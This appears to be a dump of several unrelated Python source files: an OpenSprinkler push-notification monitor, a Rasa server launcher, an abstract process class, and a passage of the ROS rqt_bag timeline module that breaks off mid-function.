#!/usr/bin/python """ This script will check the OpenSprinkler API every 5 seconds and look for running stations. If a station is found running, it'll send a push notification through Instapush. It will only send a push notification once per zone, and only at start-up of the zone. It also checks for rain sensor status and will send notifications based on that sensor's status. If the script crashes, it will log to the syslog and send an email to let you know it's crashed. 6/26/2015, Pat O'Brien. Licensed under the MIT License. Initial release. 6/30/2015, added Pushover as a push notification service. 7/2/2015, added rain sensor notifications, split out options to a config file and added more logging for troubleshooting 7/5/2015, This is a big update since the initial release of the script: Re-wrote the entire station notification to be able to notify when the station has turned off. Added more options to the config file, such as individual notify on/off and also the ability to customize individual notification messages. Added water level notification. Thanks Joe! (https://opensprinkler.com/forums/users/jchiar/) Added more verbose logging. Lastly, re-organized the functions and main loop code. 7/6/2015, Added IFTTT Maker channel https://ifttt.com/maker as push notification service. Thanks nystrom! (https://opensprinkler.com/forums/users/nystrom/) 7/8/2015, Updated the notifications to use the station name from the API as opposed to a static "Zone #" Fixed rain sensor notifications. If the sensor option is disabled, do not check for the status Updated sendEmail() to include the message that is logged to syslog 8/12/2015, KDB - Added the following: - Support for Program start and end notifications - Moved functionality checks to individual objects. Easier to follow and minor efficiency gains. - Added generic "message" as default for the notification routine. - can now specify pushover "sound" in the config file. - Added some comments and error handling output to help with debugging...etc. 4/29/2016, Added logmsg() to simplify logging """ import os, syslog, urllib2, json, requests, yaml import smtplib from email.mime.multipart import MIMEMultipart from email.mime.text import MIMEText from time import sleep import time import datetime import threading # How long to sleep for each iteration of the run loop POLL_SLEEP = 10 def logmsg(msg): print msg syslog.syslog(syslog.LOG_INFO, 'OpenSprinkler Notification: %s' % msg) def sendEmail(message): body = text.format(message) msg = "\r\n".join([ "From: " + fromEmail, "To: " + toEmail, "Subject: " + subject, "", body ]) if (smtpServer == "gmail"): username = config["email"]["gmailUsername"] password = config["email"]["gmailPassword"] server = smtplib.SMTP('smtp.gmail.com:587') server.ehlo() server.starttls() server.login(username,password) server.sendmail(fromEmail, toEmail, msg) server.quit() elif (smtpServer == "localhost"): s = smtplib.SMTP("localhost") s.sendmail(fromEmail, toEmail, msg) s.quit() logmsg("Email sent to %s. Exiting script due to error." % toEmail) exit() # Exit Python since we have encountered an error. Added this in due to multiple emails being sent. # Load config file config_path = os.path.join(os.path.dirname(__file__), "config.yaml") try: with open(config_path, 'r') as file: config = yaml.load(file) except: logmsg("Unable to load %s. Check the file exists and try again." % config_path) # Setup variables from config file ospiPort = config["ospi"]["port"] ospiApiPasswordHash = config["ospi"]["password"] pushService = config["push"]["service"] instapushAppID = config["push"]["instapush"]["appID"] instapushAppSecret = config["push"]["instapush"]["appSecret"] pushoverUserKey = config["push"]["pushover"]["userKey"] pushoverAppToken = config["push"]["pushover"]["appToken"] #KDB make sure sound is there for pushover, just in case an old config file is being used. if "sound" in config["push"]["pushover"]: pushoverSound = config["push"]["pushover"]["sound"] else: pushoverSound = "pushover" iftttEventName = config["push"]["ifttt"]["eventName"] iftttUserKey = config["push"]["ifttt"]["userKey"] jeedomIP = config["push"]["jeedom"]["jeedomIP"] jeedomDIY = config["push"]["jeedom"]["jeedomDIY"] jeedomApiKey = config["push"]["jeedom"]["jeedomApiKey"] jeedomStationsIDs = config["push"]["jeedom"]["jeedomStationsIDs"] jeedomNbStations = len(jeedomStationsIDs) jeedomRainSensorId = config["push"]["jeedom"]["jeedomRainSensorId"] jeedomRainDurationId = config["push"]["jeedom"]["jeedomRainDurationId"] jeedomWaterLevelId = config["push"]["jeedom"]["jeedomWaterLevelId"] fromEmail = config["email"]["from"] toEmail = config["email"]["to"] smtpServer = config["email"]["server"] subject = config["email"]["subject"] text = config["email"]["text"] #----------------------------------------------------------------------------- # KDB - Check program Status # return True if a program is running, false if it is not def getProgramStatus(): try: ospiProgramStatus = urllib2.urlopen("http://localhost:" + ospiPort + "/jc?pw=" + ospiApiPasswordHash).read() except: error = "Unable to load the OSPi API URL for Program Status You might have a bad hashed password or the OSPi is not online." logmsg(error) sendEmail(error) try: data = json.loads(ospiProgramStatus) except: error = "Unable to parse OSPi Program Status JSON Output." logmsg(error) sendEmail(error) # Loop over the PS fields - if the first element is not 0, we have a program running (something is queued up ) for station in data['ps']: if station[0] != 0: return station[0] return 0 #----------------------------------------------------------------------------- # Get the program Name -- hacked this from the OpenSprinkler GUI javascript def getProgramName(pid): if pid == 255 or pid == 99: return "Manual" elif pid == 254 or pid == 98: return "Run-Once" else: # get the available programs from the system try: progsData = urllib2.urlopen("http://localhost:" + ospiPort + "/jp?pw=" + ospiApiPasswordHash).read() except: error = "Unable to load the OSPi API URL for Program Names." logmsg(error) sendEmail(error) return "Uknown" try: progs = json.loads(progsData) except: error = "Unable to parse OSPi Program Data JSON Output." logmsg(error) sendEmail(error) return "Uknown" if pid <= len(progs['pd']): return str(progs['pd'][pid-1][5]) else: return "Unknown" #----------------------------------------------------------------------------- # Get Station Status def getStationStatus(): try: ospiStationStatus = urllib2.urlopen("http://localhost:" + ospiPort + "/js?pw=" + ospiApiPasswordHash).read() except: error = "Unable to load the OSPi API URL for Station Status. You might have a bad hashed password or the OSPi is not online." logmsg(error) sendEmail(error) try: data = json.loads(ospiStationStatus) except: error = "Unable to parse OSPi Station Status JSON Output." logmsg(error) sendEmail(error) stations = data["sn"] # print "Getting sprinkler status. Zones defined: %s. Zone data: %s" % (data["nstations"],data["sn"]) return stations # Get the name of the station def getStationName(id): try: ospiStationName = urllib2.urlopen("http://localhost:" + ospiPort + "/jn?pw=" + ospiApiPasswordHash).read() except: error = "Unable to load the OSPi API URL for Station Names & Attributes. You might have a bad hashed password or the OSPi is not online." logmsg(error) sendEmail(error) try: data = json.loads(ospiStationName) except: error = "Unable to parse OSPi Station Names & Attributes JSON Output." logmsg(error) sendEmail(error) # The list of stations starts at 0. We need to subtract 1 to get the right ID in the list id = id - 1 stationName = data["snames"][id] return stationName # Get Rain Sensor status def getRainSensorStatus(): # Is the rain sensor enabled? try: ospiRainSensorEnabled = urllib2.urlopen("http://localhost:" + ospiPort + "/jo?pw=" + ospiApiPasswordHash).read() enabled = json.loads(ospiRainSensorEnabled) except: error = "Unable to load the OSPi API URL for Options. You might have a bad hashed password or the OSPi is not online." logmsg(error) sendEmail(error) if (enabled["urs"] == 1): # Get the rain status try: ospiRainSensorStatus = urllib2.urlopen("http://localhost:" + ospiPort + "/jc?pw=" + ospiApiPasswordHash).read() except: error = "Unable to load the OSPi API URL for Rain Sensor Status. You might have a bad hashed password or the OSPi is not online." logmsg(error) sendEmail(error) try: data = json.loads(ospiRainSensorStatus) except: error = "Unable to parse OSPi Rain Sensor Status JSON Output." logmsg(error) sendEmail(error) rainSensor = data["rs"] return rainSensor # Get the watering level def getWaterLevel(): try: ospiWaterLevel = urllib2.urlopen("http://localhost:" + ospiPort + "/jo?pw=" + ospiApiPasswordHash).read() except: error = "Unable to load the OSPi API URL for Water Level. You might have a bad hashed password or the OSPi is not online." logmsg(error) sendEmail(error) try: data = json.loads(ospiWaterLevel) except: error = "Unable to parse OSPi Water Level JSON Output." logmsg(error) sendEmail(error) waterLevel = data["wl"] #print "Water level currently is %s%%" % waterLevel return waterLevel # Send Push Notification def sendPushNotification(notifyType, notifyInfo): # Change verbiage based on event type value = 0 type = 0 if (notifyType == "station_active"): stationName = getStationName(notifyInfo) event = config["stations"]["messages"]["start"].format(stationName) type = 1 value = 1 elif (notifyType == "station_idle"): stationName = getStationName(notifyInfo) event = config["stations"]["messages"]["stop"].format(stationName) type = 1 elif (notifyType == "rainSensor_active"): event = config["rain"]["messages"]["active"] type = 2 value = 1 elif (notifyType == "rainSensor_clear"): event = config["rain"]["messages"]["clear"] type = 2 elif (notifyType == "waterLevel"): event = config["waterlevel"]["message"].format(notifyInfo) type = 3 value = notifyInfo elif (notifyType == "rainDuration"): event = config["rain"]["messages"]["duration"].format(notifyInfo) type = 4 value = notifyInfo else: event = notifyType # just use the notify type - for simple messaging if (pushService == "instapush"): headers = {'Content-Type': 'application/json', 'x-instapush-appid': instapushAppID, 'x-instapush-appsecret': instapushAppSecret} payload = '{"event":"message","trackers":{"message":"' + event + '"}}' ret = requests.post('http://api.instapush.im/post', headers = headers, data = payload) logmsg("Notification sent to %s. Message: %s. Return message: %s" % (pushService, event, ret)) #print ret elif (pushService == "pushover"): payload = { "token": pushoverAppToken, "user" : pushoverUserKey, "sound": pushoverSound, "message": event } ret = requests.post("http://api.pushover.net/1/messages.json", data = payload) logmsg("Notification sent to %s. Message: %s. Return message: %s" % (pushService, event, ret)) #print ret elif (pushService == "ifttt"): url = "http://maker.ifttt.com/trigger/" + iftttEventName + "/with/key/" + iftttUserKey payload = { 'value1': event } ret = requests.post(url, data = payload) logmsg("Notification sent to %s. Message: %s. Return message %s" % (pushService, event, ret)) #print ret elif (pushService == "jeedom"): if (type == 1): # The list of stations starts at 0. We need to subtract 1 to get the right ID in the list notifyInfo = notifyInfo - 1 if notifyInfo < jeedomNbStations: jeedomCmdId = jeedomStationsIDs[notifyInfo] else: error = "Unable to send notification as the configured number of stations does not match OSPi information." logmsg(error) sendEmail(error) return elif (type == 2): jeedomCmdId = jeedomRainSensorId elif (type == 3): jeedomCmdId = jeedomWaterLevelId elif (type == 4): jeedomCmdId = jeedomRainDurationId else: logmsg("No notification to be sent to %s." % (pushService)) return url = "http://" + jeedomIP + jeedomDIY + "/core/api/jeeApi.php?apikey=" + jeedomApiKey + "&type=virtual&id=" + str(jeedomCmdId) + "&value=" + str(value) ret = requests.post(url) logmsg("Notification sent to %s. URL: %s. Return message %s" % (pushService, url, ret)) #print ret #---------------------------------------------------- # KDB - define a base class for our status check activities class Status(object): def __init__(self, config): object.__init__(self) return # STATIC Method used to determine if this check is enabled. This is used to populate # the active checks list in the run loop @staticmethod def isEnabled(config): return False # method that performs the check. def check(self): pass #---------------------------------------------------- # Per station status check logic class stationStatus(Status): def __init__(self, config): Status.__init__(self, config) self.notifyStart = config["stations"]["notify"]["start"] == "yes" self.notifyStop = config["stations"]["notify"]["stop"] == "yes" self.currentStation = 0 @staticmethod def isEnabled(config): return (config["stations"]["notify"]["start"] == "yes" or config["stations"]["notify"]["stop"] == "yes") def check(self): stations = getStationStatus() i = 1 for zoneStatus in stations: if (zoneStatus == 1): if (self.currentStation != i): # Zone change detected. Send notification that previous zone stopped, except if previous zone was 0 if ( (self.currentStation != 0) & self.notifyStop): logmsg("Station has gone idle: %s" % self.currentStation) sendPushNotification("station_idle", self.currentStation) self.currentStation = i # New zone is active, send notification if (self.notifyStart): logmsg("Station is now active: %s" % i) sendPushNotification("station_active", i) elif ( (zoneStatus == 0) & (self.currentStation == i) ): # All stations off, including a previously-on station. Send idle notification, and reset station to 0 if (self.currentStation != 0) & (self.notifyStop ): logmsg("Station has gone idle: %s" % self.currentStation) sendPushNotification("station_idle", self.currentStation) self.currentStation = 0 i = i + 1 #---------------------------------------------------- # per Program status check logic class programStatus(Status): def __init__(self, config): Status.__init__(self, config) self.notifyStart = config["programs"]["notify"]["start"] == "yes" self.notifyStop = config["programs"]["notify"]["stop"] == "yes" self.currentProgramName = "Unknown" self.bProgramRunning = False @staticmethod def isEnabled(config): return (config["programs"]["notify"]["start"] == "yes" or config["programs"]["notify"]["stop"] == "yes") def check(self): pid = getProgramStatus() bStatus = pid != 0 # change of program state? if bStatus != self.bProgramRunning: if bStatus and self.notifyStart: self.currentProgramName = getProgramName(pid) txt = "Started " + self.currentProgramName + " Program" logmsg(txt) sendPushNotification(txt, None) elif not bStatus and self.notifyStop: txt = "Ending " + self.currentProgramName + " Program" logmsg(txt) sendPushNotification(txt, None) self.currentProgramName = "Unknown" self.bProgramRunning = bStatus #---------------------------------------------------- # Rain sensor status check logic class rainSensorStatus(Status): def __init__(self, config): Status.__init__(self, config) self.notifyActive = config["rain"]["notify"]["active"] == "yes" self.notifyClear = config["rain"]["notify"]["clear"] == "yes" self.notifyDuration = config["rain"]["notify"]["duration"] == "yes" self.currentRainStatus = 0 self.todayRainDuration = 0 self.startRainTime = 0 self.stopRainTime = 0 @staticmethod def isEnabled(config): return (config["rain"]["notify"]["active"] == "yes" or config["rain"]["notify"]["clear"] == "yes" or config["rain"]["notify"]["duration"] == "yes") def check(self): rainSensor = getRainSensorStatus() if rainSensor == self.currentRainStatus: return # No change # Do we have rain now? if (rainSensor == 1 and self.notifyActive): logmsg("Rain sensor is now active") sendPushNotification("rainSensor_active", 0) self.startRainTime = time.time() elif self.notifyClear: # No rain now logmsg("Rain sensor has cleared") sendPushNotification("rainSensor_clear", 0) self.stopRainTime = time.time() self.todayRainDuration = self.todayRainDuration + (self.stopRainTime - self.startRainTime) logmsg("New daily rain duration: %s" % self.todayRainDuration) self.currentRainStatus = rainSensor def computeTodayRainDuration(self): logmsg("Compute yesterday's total rain duration") # If it currently rains if self.currentRainStatus == 1: self.stopRainTime = time.time() self.todayRainDuration = self.todayRainDuration + (self.stopRainTime - self.startRainTime) self.startRainTime = self.stopRainTime if self.notifyDuration == 1: logmsg("Rain duration: %s" % self.todayRainDuration) sendPushNotification("rainDuration", self.todayRainDuration) self.todayRainDuration = 0 logmsg("Rain duration has been cleared") def dailyRoutine(rainSt): logmsg("Starting the daily routine") while True: now = datetime.datetime.today() future = datetime.datetime(now.year, now.month, now.day, 1, 0) if (now.hour >= 1): future += datetime.timedelta(days=1) logmsg("Sleep for %s seconds" % (future - now).total_seconds()) time.sleep((future - now).total_seconds()) rainSt.computeTodayRainDuration() #---------------------------------------------------- # Water Level status check logic class waterLevelStatus(Status): def __init__(self, config): Status.__init__(self, config) self.notify = config["waterlevel"]["notify"] == "yes" self.currentWaterLevel = 0 @staticmethod def isEnabled(config): return (config["waterlevel"]["notify"] == "yes") def check(self): waterLevel = getWaterLevel() if (self.currentWaterLevel != waterLevel): # New water level detected self.currentWaterLevel = waterLevel logmsg("Water level has changed to: %s" % self.currentWaterLevel) sendPushNotification("waterLevel", self.currentWaterLevel) #---------------------------------------------------- # Main loop to check the status and send notification if necessary def main(): now = datetime.datetime.today() logmsg('OSPi push notification script started: %s' % now) # What checks do we need to make in the processing loop? stationSt = stationStatus(config) progSt = programStatus(config) rainSt = rainSensorStatus(config) waterSt = waterLevelStatus(config) statusChecks = [] if stationSt.isEnabled(config): logmsg("Station status monitoring enabled") statusChecks.append(stationSt) if progSt.isEnabled(config): logmsg("Program status monitoring enabled") statusChecks.append(progSt) if rainSt.isEnabled(config): logmsg("Rain status monitoring enabled") t = threading.Thread(target=dailyRoutine, args=(rainSt,)) t.start() statusChecks.append(rainSt) if waterSt.isEnabled(config): logmsg("Water level status monitoring enabled") statusChecks.append(waterSt) # if we have no checks, bail if len(statusChecks) == 0: logmsg("No status checks specified in the config file. Exiting.") return # Start the run loop try: while True: for activity in statusChecks: activity.check() # sleep sleep(POLL_SLEEP) except Exception as errEx: logmsg("OSPi push notification script stopped." + str(errEx)) if __name__ == '__main__': main()
run_servers.py
import threading import os def app1(): NLU_DIR = "models/nlu/default/nlu_model" CORE_DIR = "models/dialogue/default/dialogue_model" CORS = "*" PORT = 2018 COMMAND = "python rasa_server.py -d {} -u {} --cors {} --port {}".format(CORE_DIR, NLU_DIR, CORS, PORT) os.system(COMMAND) def app2(): os.system("python custom_server.py") if __name__ == '__main__': t1 = threading.Thread(target=app1) t2 = threading.Thread(target=app2) t1.start() t2.start()
process.py
from multiprocessing import Process import abc class AbstractProcess(object): def __init__(self): self.process = Process(target=self.run, args=()) self.process.daemon = True # Daemonize it @abc.abstractmethod def run(self): return def start(self): self.process.start()
bag_timeline.py
# Software License Agreement (BSD License) # # Copyright (c) 2012, Willow Garage, Inc. # All rights reserved. # # Redistribution and use in source and binary forms, with or without # modification, are permitted provided that the following conditions # are met: # # * Redistributions of source code must retain the above copyright # notice, this list of conditions and the following disclaimer. # * Redistributions in binary form must reproduce the above # copyright notice, this list of conditions and the following # disclaimer in the documentation and/or other materials provided # with the distribution. # * Neither the name of Willow Garage, Inc. nor the names of its # contributors may be used to endorse or promote products derived # from this software without specific prior written permission. # # THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS # "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT # LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS # FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE # COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, # INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, # BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; # LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER # CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT # LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN # ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE # POSSIBILITY OF SUCH DAMAGE. import rospy import rosbag import time import threading from python_qt_binding.QtCore import Qt, QTimer, qWarning, Signal from python_qt_binding.QtGui import QGraphicsScene, QMessageBox import bag_helper from .timeline_frame import TimelineFrame from .message_listener_thread import MessageListenerThread from .message_loader_thread import MessageLoaderThread from .player import Player from .recorder import Recorder from .timeline_menu import TimelinePopupMenu class BagTimeline(QGraphicsScene): """ BagTimeline contains bag files, all information required to display the bag data visualization on the screen Also handles events """ status_bar_changed_signal = Signal() selected_region_changed = Signal(rospy.Time, rospy.Time) def __init__(self, context, publish_clock): """ :param context: plugin context hook to enable adding rqt_bag plugin widgets as ROS_GUI snapin panes, ''PluginContext'' """ super(BagTimeline, self).__init__() self._bags = [] self._bag_lock = threading.RLock() self.background_task = None # Display string self.background_task_cancel = False # Playing / Recording self._playhead_lock = threading.RLock() self._max_play_speed = 1024.0 # fastest X play speed self._min_play_speed = 1.0 / 1024.0 # slowest X play speed self._play_speed = 0.0 self._play_all = False self._playhead_positions_cvs = {} self._playhead_positions = {} # topic -> (bag, position) self._message_loaders = {} self._messages_cvs = {} self._messages = {} # topic -> (bag, msg_data) self._message_listener_threads = {} # listener -> MessageListenerThread self._player = False self._publish_clock = publish_clock self._recorder = None self.last_frame = None self.last_playhead = None self.desired_playhead = None self.wrap = True # should the playhead wrap when it reaches the end? self.stick_to_end = False # should the playhead stick to the end? self._play_timer = QTimer() self._play_timer.timeout.connect(self.on_idle) self._play_timer.setInterval(3) # Plugin popup management self._context = context self.popups = {} self._views = [] self._listeners = {} # Initialize scene # the timeline renderer fixes use of black pens and fills, so ensure we fix white here for contrast. # otherwise a dark qt theme will default it to black and the frame render pen will be unreadable self.setBackgroundBrush(Qt.white) self._timeline_frame = TimelineFrame(self) self._timeline_frame.setPos(0, 0) self.addItem(self._timeline_frame) self.background_progress = 0 self.__closed = False def get_context(self): """ :returns: the ROS_GUI context, 'PluginContext' """ return self._context def handle_close(self): """ Cleans up the timeline, bag and any threads """ if self.__closed: return else: self.__closed = True self._play_timer.stop() for topic in self._get_topics(): self.stop_publishing(topic) self._message_loaders[topic].stop() if self._player: self._player.stop() if self._recorder: self._recorder.stop() if self.background_task is not None: self.background_task_cancel = True self._timeline_frame.handle_close() for bag in self._bags: bag.close() for frame in self._views: if frame.parent(): self._context.remove_widget(frame) # Bag Management and access def add_bag(self, bag): """ creates an indexing thread for each new topic in the bag fixes the boarders and notifies the indexing thread to index the new items bags :param bag: ros bag file, ''rosbag.bag'' """ self._bags.append(bag) bag_topics = bag_helper.get_topics(bag) new_topics = set(bag_topics) - set(self._timeline_frame.topics) for topic in new_topics: self._playhead_positions_cvs[topic] = threading.Condition() self._messages_cvs[topic] = threading.Condition() self._message_loaders[topic] = MessageLoaderThread(self, topic) self._timeline_frame._start_stamp = self._get_start_stamp() self._timeline_frame._end_stamp = self._get_end_stamp() self._timeline_frame.topics = self._get_topics() self._timeline_frame._topics_by_datatype = self._get_topics_by_datatype() # If this is the first bag, reset the timeline if self._timeline_frame._stamp_left is None: self._timeline_frame.reset_timeline() # Invalidate entire index cache for all topics in this bag with self._timeline_frame.index_cache_cv: for topic in bag_topics: self._timeline_frame.invalidated_caches.add(topic) if topic in self._timeline_frame.index_cache: del self._timeline_frame.index_cache[topic] self._timeline_frame.index_cache_cv.notify() #TODO Rethink API and if these need to be visible def _get_start_stamp(self): """ :return: first stamp in the bags, ''rospy.Time'' """ with self._bag_lock: start_stamp = None for bag in self._bags: bag_start_stamp = bag_helper.get_start_stamp(bag) if bag_start_stamp is not None and (start_stamp is None or bag_start_stamp < start_stamp): start_stamp = bag_start_stamp return start_stamp def _get_end_stamp(self): """ :return: last stamp in the bags, ''rospy.Time'' """ with self._bag_lock: end_stamp = None for bag in self._bags: bag_end_stamp = bag_helper.get_end_stamp(bag) if bag_end_stamp is not None and (end_stamp is None or bag_end_stamp > end_stamp): end_stamp = bag_end_stamp return end_stamp def _get_topics(self): """ :return: sorted list of topic names, ''list(str)'' """ with self._bag_lock: topics = set() for bag in self._bags: for topic in bag_helper.get_topics(bag): topics.add(topic) return sorted(topics) def _get_topics_by_datatype(self): """ :return: dict of list of topics for each datatype, ''dict(datatype:list(topic))'' """ with self._bag_lock: topics_by_datatype = {} for bag in self._bags: for datatype, topics in bag_helper.get_topics_by_datatype(bag).items(): topics_by_datatype.setdefault(datatype, []).extend(topics) return topics_by_datatype def get_datatype(self, topic): """ :return: datatype associated with a topic, ''str'' :raises: if there are multiple datatypes assigned to a single topic, ''Exception'' """ with self._bag_lock: datatype = None for bag in self._bags: bag_datatype = bag_helper.get_datatype(bag, topic) if datatype and bag_datatype and (bag_datatype != datatype): raise Exception('topic %s has multiple datatypes: %s and %s' % (topic, datatype, bag_datatype)) if bag_datatype: datatype = bag_datatype return datatype def get_entries(self, topics, start_stamp, end_stamp): """ generator function for bag entries :param topics: list of topics to query, ''list(str)'' :param start_stamp: stamp to start at, ''rospy.Time'' :param end_stamp: stamp to end at, ''rospy,Time'' :returns: entries the bag file, ''msg'' """ with self._bag_lock: from rosbag import bag # for _mergesort bag_entries = [] for b in self._bags: bag_start_time = bag_helper.get_start_stamp(b) if bag_start_time is not None and bag_start_time > end_stamp: continue bag_end_time = bag_helper.get_end_stamp(b) if bag_end_time is not None and bag_end_time < start_stamp: continue connections = list(b._get_connections(topics)) bag_entries.append(b._get_entries(connections, start_stamp, end_stamp)) for entry, _ in bag._mergesort(bag_entries, key=lambda entry: entry.time): yield entry def get_entries_with_bags(self, topic, start_stamp, end_stamp): """ generator function for bag entries :param topics: list of topics to query, ''list(str)'' :param start_stamp: stamp to start at, ''rospy.Time'' :param end_stamp: stamp to end at, ''rospy,Time'' :returns: tuple of (bag, entry) for the entries in the bag file, ''(rosbag.bag, msg)'' """ with self._bag_lock: from rosbag import bag # for _mergesort bag_entries = [] bag_by_iter = {} for b in self._bags: bag_start_time = bag_helper.get_start_stamp(b) if bag_start_time is not None and bag_start_time > end_stamp: continue bag_end_time = bag_helper.get_end_stamp(b) if bag_end_time is not None and bag_end_time < start_stamp: continue connections = list(b._get_connections(topic)) it = iter(b._get_entries(connections, start_stamp, end_stamp)) bag_by_iter[it] = b bag_entries.append(it) for entry, it in bag._mergesort(bag_entries, key=lambda entry: entry.time): yield bag_by_iter[it], entry def get_entry(self, t, topic): """ Access a bag entry :param t: time, ''rospy.Time'' :param topic: the topic to be accessed, ''str'' :return: tuple of (bag, entry) corisponding to time t and topic, ''(rosbag.bag, msg)'' """ with self._bag_lock: entry_bag, entry = None, None for bag in self._bags: bag_entry = bag._get_entry(t, bag._get_connections(topic)) if bag_entry and (not entry or bag_entry.time > entry.time): entry_bag, entry = bag, bag_entry return entry_bag, entry def get_entry_before(self, t): """ Access a bag entry :param t: time, ''rospy.Time'' :return: tuple of (bag, entry) corresponding to time t, ''(rosbag.bag, msg)'' """ with self._bag_lock: entry_bag, entry = None, None for bag in self._bags: bag_entry = bag._get_entry(t-rospy.Duration(0,1), bag._get_connections()) if bag_entry and (not entry or bag_entry.time < entry.time): entry_bag, entry = bag, bag_entry return entry_bag, entry def get_entry_after(self, t): """ Access a bag entry :param t: time, ''rospy.Time'' :return: tuple of (bag, entry) corisponding to time t, ''(rosbag.bag, msg)'' """ with self._bag_lock: entry_bag, entry = None, None for bag in self._bags: bag_entry = bag._get_entry_after(t, bag._get_connections()) if bag_entry and (not entry or bag_entry.time < entry.time): entry_bag, entry = bag, bag_entry return entry_bag, entry def get_next_message_time(self): """ :return: time of the next message after the current playhead position,''rospy.Time'' """ if self._timeline_frame.playhead is None: return None _, entry = self.get_entry_after(self._timeline_frame.playhead) if entry is None: return self._timeline_frame._start_stamp return entry.time def get_previous_message_time(self): """ :return: time of the next message before the current playhead position,''rospy.Time'' """ if self._timeline_frame.playhead is None: return None _, entry = self.get_entry_before(self._timeline_frame.playhead) if entry is None: return self._timeline_frame._end_stamp return entry.time def resume(self): if (self._player): self._player.resume() ### Copy messages to... def start_background_task(self, background_task): """ Verify that a background task is not currently running before starting a new one :param background_task: name of the background task, ''str'' """ if self.background_task is not None: QMessageBox(QMessageBox.Warning, 'Exclamation', 'Background operation already running:\n\n%s' % self.background_task, QMessageBox.Ok).exec_() return False self.background_task = background_task self.background_task_cancel = False return True def stop_background_task(self): self.background_task = None def copy_region_to_bag(self, filename): if len(self._bags) > 0: self._export_region(filename, self._timeline_frame.topics, self._timeline_frame.play_region[0], self._timeline_frame.play_region[1]) def _export_region(self, path, topics, start_stamp, end_stamp): """ Starts a thread to save the current selection to a new bag file :param path: filesystem path to write to, ''str'' :param topics: topics to write to the file, ''list(str)'' :param start_stamp: start of area to save, ''rospy.Time'' :param end_stamp: end of area to save, ''rospy.Time'' """ if not self.start_background_task('Copying messages to "%s"' % path): return # TODO implement a status bar area with information on the current save status bag_entries = list(self.get_entries_with_bags(topics, start_stamp, end_stamp)) if self.background_task_cancel: return # Get the total number of messages to copy total_messages = len(bag_entries) # If no messages, prompt the user and return if total_messages == 0: QMessageBox(QMessageBox.Warning, 'rqt_bag', 'No messages found', QMessageBox.Ok).exec_() self.stop_background_task() return # Open the path for writing try: export_bag = rosbag.Bag(path, 'w') except Exception: QMessageBox(QMessageBox.Warning, 'rqt_bag', 'Error opening bag file [%s] for writing' % path, QMessageBox.Ok).exec_() self.stop_background_task() return # Run copying in a background thread self._export_thread = threading.Thread(target=self._run_export_region, args=(export_bag, topics, start_stamp, end_stamp, bag_entries)) self._export_thread.start() def _run_export_region(self, export_bag, topics, start_stamp, end_stamp, bag_entries): """ Threaded function that saves the current selection to a new bag file :param export_bag: bagfile to write to, ''rosbag.bag'' :param topics: topics to write to the file, ''list(str)'' :param start_stamp: start of area to save, ''rospy.Time'' :param end_stamp: end of area to save, ''rospy.Time'' """ total_messages = len(bag_entries) update_step = max(1, total_messages / 100) message_num = 1 progress = 0 # Write out the messages for bag, entry in bag_entries: if self.background_task_cancel: break try: topic, msg, t = self.read_message(bag, entry.position) export_bag.write(topic, msg, t) except Exception as ex: qWarning('Error exporting message at position %s: %s' % (str(entry.position), str(ex))) export_bag.close() self.stop_background_task() return if message_num % update_step == 0 or message_num == total_messages: new_progress = int(100.0 * (float(message_num) / total_messages)) if new_progress != progress: progress = new_progress if not self.background_task_cancel: self.background_progress = progress self.status_bar_changed_signal.emit() message_num += 1 # Close the bag try: self.background_progress = 0 self.status_bar_changed_signal.emit() export_bag.close() except Exception as ex: QMessageBox(QMessageBox.Warning, 'rqt_bag', 'Error closing bag file [%s]: %s' % (export_bag.filename, str(ex)), QMessageBox.Ok).exec_() self.stop_background_task() def read_message(self, bag, position): with self._bag_lock: return bag._read_message(position) ### Mouse events def on_mouse_down(self, event): if event.buttons() == Qt.LeftButton: self._timeline_frame.on_left_down(event) elif event.buttons() == Qt.MidButton: self._timeline_frame.on_middle_down(event) elif event.buttons() == Qt.RightButton: topic = self._timeline_frame.map_y_to_topic(event.y()) TimelinePopupMenu(self, event, topic) def on_mouse_up(self, event): self._timeline_frame.on_mouse_up(event) def on_mouse_move(self, event): self._timeline_frame.on_mouse_move(event) def on_mousewheel(self, event): self._timeline_frame.on_mousewheel(event) # Zooming def zoom_in(self): self._timeline_frame.zoom_in() def zoom_out(self): self._timeline_frame.zoom_out() def reset_zoom(self): self._timeline_frame.reset_zoom() def translate_timeline_left(self): self._timeline_frame.translate_timeline_left() def translate_timeline_right(self): self._timeline_frame.translate_timeline_right() ### Publishing def is_publishing(self, topic): return self._player and self._player.is_publishing(topic) def start_publishing(self, topic): if not self._player and not self._create_player(): return False self._player.start_publishing(topic) return True def stop_publishing(self, topic): if not self._player: return False self._player.stop_publishing(topic) return True def _create_player(self): if not self._player: try: self._player = Player(self) if self._publish_clock: self._player.start_clock_publishing() except Exception as ex: qWarning('Error starting player; aborting publish: %s' % str(ex)) return False return True def set_publishing_state(self, start_publishing): if start_publishing: for topic in self._timeline_frame.topics: if not self.start_publishing(topic): break else: for topic in self._timeline_frame.topics: self.stop_publishing(topic) # property: play_all def _get_play_all(self): return self._play_all def _set_play_all(self, play_all): if play_all == self._play_all: return self._play_all = not self._play_all self.last_frame = None self.last_playhead = None self.desired_playhead = None play_all = property(_get_play_all, _set_play_all) def toggle_play_all(self): self.play_all = not self.play_all ### Playing def on_idle(self): self._step_playhead() def _step_playhead(self): """ moves the playhead to the next position based on the desired position """ # Reset when the playing mode switchs if self._timeline_frame.playhead != self.last_playhead: self.last_frame = None self.last_playhead = None self.desired_playhead = None if self._play_all: self.step_next_message() else: self.step_fixed() def step_fixed(self): """ Moves the playhead a fixed distance into the future based on the current play speed """ if self.play_speed == 0.0 or not self._timeline_frame.playhead: self.last_frame = None self.last_playhead = None return now = rospy.Time.from_sec(time.time()) if self.last_frame: # 